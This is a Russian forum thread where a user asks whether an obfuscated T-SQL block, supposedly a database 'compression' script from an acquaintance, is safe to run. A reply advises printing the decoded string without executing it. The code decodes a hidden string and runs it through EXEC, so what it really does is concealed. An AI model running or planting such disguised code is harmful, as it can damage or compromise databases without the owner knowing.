Справочник функций

Ваш аккаунт

Войти через: 
Забыли пароль?
Регистрация
Информацию о новых материалах можно получать и без регистрации:

Последние темы форума

Показать новые сообщения »

Почтовая рассылка

Подписчиков: 11660
Последний выпуск: 19.06.2015

Непонятный код

88K
29 октября 2013 года
AnyLev
2 / / 29.10.2013
Здравствуйте!
Один знакомый дал код, который должен "сжимать" базу данных. Но я, честно говоря, не понимаю, как её можно сжать, а в самом коде разобраться не получается, и Google тоже не помог :(. Уважаемые гуру, подскажите, действительно ли такой код может сжать содержимое БД? И если да - то что надо почитать мне, чтобы в нем разобраться?
А то выполнять непонятный код на рабочей базе данных страшно немного.

Код:
BEGIN
    DECLARE @I1 VARCHAR(MAX);
        SET @I1 = 'l6?4GI6VFFI4O?l6?4kVF6?lOX4?lX@?VGX_?6?;VgY?Gi4X?96G4Y?l7'+
                  'X@Ab?4FTIG?eVgOb>64i4?X_`4T?MNkhGIGkH96G4Y@@?4F_9B?lX@?V'+
                  'GX_?6?;VgY?Gi4X?96G4Y?l6?X4eV?l7MMJ>gI96gIS?W@?4gIF64O?lb'+
                  'hb4eEG?4g49B?R3]ZcU5[RPR?;VgY?ZjLW?G64F4k?gVY?gVkgh6?]?4'+
                  'gIF64O?lb==L?GX_IgGkXV6?C6496VX?8?4FTIG?g4GFIb?Z=UL3<]LZ^'+
                  '5KRjH:R?64i4';
    DECLARE @I2 VARCHAR(MAX);
        SET @I2 = 'tEoC)?HpMhl( @+WK!YLT_A2fa0>Dy6sVBbOnNFe.=crIG|j…P>RUXmS;'
    DECLARE @I3 VARCHAR(MAX) ,
        @I INT;
        SET @I = 1;
        SET @I3 = '';
        WHILE @I <= LEN(@I1)
        BEGIN
            SET @I3 = SUBSTRING(@I2, 0 + ASCII(SUBSTRING(@I1, @I, 1)) - 50, 1)
                + @I3;
                SET @I = @I + 1;
            END;
        SET @I3=REPLACE(@I3,'|','''');
        EXEC(@I3);
END;
Заранее спасибо!
88K
29 октября 2013 года
AnyLev
2 / / 29.10.2013
Помогли на SQL.ru, вопрос исчерпан.
389
30 октября 2013 года
grgdvo
322 / / 04.07.2007
Интересная у вас постановка задачи.
Уберите EXEC в конце и покажите чему стало равнол @3. Мы должны увидеть скрипт сжатия базы
SQL сервера нет под рукой - проверить не могу

Знаете кого-то, кто может ответить? Поделитесь с ним ссылкой.

Ваш ответ

Реклама на сайте | Обмен ссылками | Ссылки | Экспорт (RSS) | Контакты
Добавить статью | Добавить исходник | Добавить хостинг-провайдера | Добавить сайт в каталог